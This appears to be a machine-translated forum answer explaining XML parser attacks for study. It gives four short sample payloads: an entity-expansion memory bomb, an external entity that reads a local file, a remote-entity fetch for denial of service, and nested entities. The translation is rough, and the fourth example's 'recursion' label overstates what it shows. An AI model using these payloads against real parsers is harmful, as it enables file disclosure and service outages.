首先我们需要区分effect的攻击来自feature那是被利用的。
可以利用的 XML 的特殊功能包括
- XML 实体
- 解析器和验证器的专有扩展
- 循环/递归引用
- 远程访问
效果可以是
我认为“炸弹”没有准确的定义,但它指的是特别“紧凑”且“扩展”的攻击。 “强制解析攻击”利用 XML 模型的性质来压垮解析器。
下面的例子取自XML 拒绝服务攻击和防御 http://msdn.microsoft.com/en-us/magazine/ee335713.aspx。
另外,如果你懂法语,请阅读优秀的杂志“".
实施例1
使用实体的炸弹会导致 DOS,因为它会耗尽内存
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
如果您有 50'000 个“aaaa...aaa”和 50'0000&a:&a;...&a;
,200KB的有效负载在内存中扩展到超过2GB
实施例2
实体可用于以未经授权的方式访问另一个文件。这会导致信息泄露。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>
实施例3
使用某些解析器的能力来访问远程资源(参见http://www.ibm.com/developerworks/xml/library/x-tipgentity.html) http://www.ibm.com/developerworks/xml/library/x-tipgentity.html,现在看看如果文件bigfile.xml
是2GB。这可能会导致 DOS。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>
实施例4
这种递归会导致内存耗尽,并可能导致 DOS。
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
如果这是功课,那么你还应该考虑如何才能protect自己免受此类攻击。